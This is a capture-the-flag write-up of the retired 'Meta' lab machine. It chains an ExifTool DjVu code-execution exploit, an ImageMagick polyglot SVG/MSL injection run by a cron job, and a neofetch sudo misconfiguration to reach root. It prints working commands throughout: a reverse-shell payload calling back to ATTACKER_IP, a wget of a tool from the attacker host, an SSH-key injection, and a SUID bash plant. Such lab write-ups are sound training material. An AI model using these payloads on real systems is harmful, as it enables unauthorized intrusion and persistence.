Meta
Summary
The target ($TARGET, artcorp.htb) exposed Apache on port 80. Virtual-host enumeration uncovered a development subdomain, dev01.artcorp.htb, hosting an image-metadata viewer powered by ExifTool 12.23 — a version vulnerable to arbitrary code execution via a malformed DjVu file (CVE-2021-22204). A crafted image uploaded to the viewer triggered a reverse shell as the web-server account (www-data).
From that foothold, process-monitoring with pspy revealed a periodic cron job running ImageMagick's convert as the local user thomas against a directory the web account could write to. Exploiting ImageMagick CVE-2020-29599 through a polyglot SVG/MSL file dropped into that directory caused the cron to inject my SSH public key into thomas's authorized_keys, yielding a user-level shell and the user flag. Inspecting thomas's sudo privileges showed he could run /usr/bin/neofetch as root with the environment variable XDG_CONFIG_HOME preserved.
Because neofetch sources its config.conf as a Bash script, supplying a malicious config pointed to by XDG_CONFIG_HOME caused it to execute my own shell commands as root, giving full system compromise and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 4
Full version and default-script scan.
$ nmap -sC -sV -oA meta $TARGETAdd both vhosts to local resolution once discovered.
$ echo "$TARGET artcorp.htb dev01.artcorp.htb" | sudo tee -a /etc/hostsBrute-force virtual hostnames; -fs 0 silences empty-body false positives.
$ ffuf -u http://artcorp.htb/ -H 'Host: FUZZ.artcorp.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200 -fs 0Read the PHP dependency manifest to fingerprint the ExifTool release.
$ curl -s http://dev01.artcorp.htb/metaview/composer.jsonExact commands 4
Clone the exploit generator; requires exiftool and djvulibre-bin on the attack machine.
$ git clone https://github.com/convisolabs/CVE-2021-22204-exiftool /opt/cve-2021-22204 && cd /opt/cve-2021-22204Set $ATTACKER_IP and PORT, then generate the malicious image.jpg payload.
$ sed -i "s/IP = .*/IP = '$ATTACKER_IP'/" exploit.py && sed -i 's/PORT = .*/PORT = 9001/' exploit.py && python3 exploit.pyOpen the reverse-shell listener before uploading.
$ nc -lvnp 9001Upload the crafted DjVu; ExifTool parses it and the shell fires.
$ curl -s -F 'file=@/opt/cve-2021-22204/image.jpg' http://dev01.artcorp.htb/metaview/FixUpgrade ExifTool to 12.24 or later to eliminate CVE-2021-22204Critical
Exact commands 4
Serve pspy64 from the attack box (run in background).
$ python3 -m http.server 8080From the www-data shell — download and run pspy; wait 2–3 minutes to catch the cron cycle.
$ wget http://$ATTACKER_IP:8080/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64 -p -i 500Read the script to confirm exactly how convert is called and which directory it watches.
$ cat /usr/local/bin/convert_images.shVerify that www-data can create files in the watched directory.
$ ls -la /var/www/dev01.artcorp.htb/convert_images/Exact commands 4
Generate the keypair; copy the public key value for the next step.
$ ssh-keygen -t rsa -b 4096 -f /tmp/thomas_key -N '' && cat /tmp/thomas_key.pubWrite the polyglot into the watched directory using a fresh filename; replace PASTE_PUB_KEY_HERE with the public key from the previous command.
$ cat > /var/www/dev01.artcorp.htb/convert_images/inject01.svg << 'SVGEOF'
<image authenticate='ff" `-e "mkdir -p /home/thomas/.ssh && echo PASTE_PUB_KEY_HERE >> /home/thomas/.ssh/authorized_keys";"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="/tmp/out.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:/var/www/dev01.artcorp.htb/convert_images/inject01.svg" height="0" width="0"></image>
</svg>
</image>
SVGEOFConnect after the cron fires (up to ~1 minute); use the matching private key.
$ ssh -i /tmp/thomas_key thomas@$TARGETCapture the user flag -> <user.txt>
$ cat /home/thomas/user.txtFixPatch ImageMagick and isolate the image-conversion cron from web-writable directoriesHigh
Exact commands 5
Confirm the neofetch sudo rule and the env_keep directive.
$ sudo -lCreate the malicious config directory and embed the SUID-plant payload.
$ mkdir -p /tmp/.neoconf/neofetch && printf 'cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root\n' > /tmp/.neoconf/neofetch/config.confRun neofetch as root; config.conf is sourced as bash, executing the payload.
$ sudo XDG_CONFIG_HOME=/tmp/.neoconf /usr/bin/neofetch-p preserves EUID=0, opening a root shell.
$ /tmp/bash_root -pCapture the root flag -> <root.txt>
$ cat /root/root.txtFixRemove XDG_CONFIG_HOME from the neofetch sudo rule's env_keep listHigh
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 80/tcp | http Apache httpd |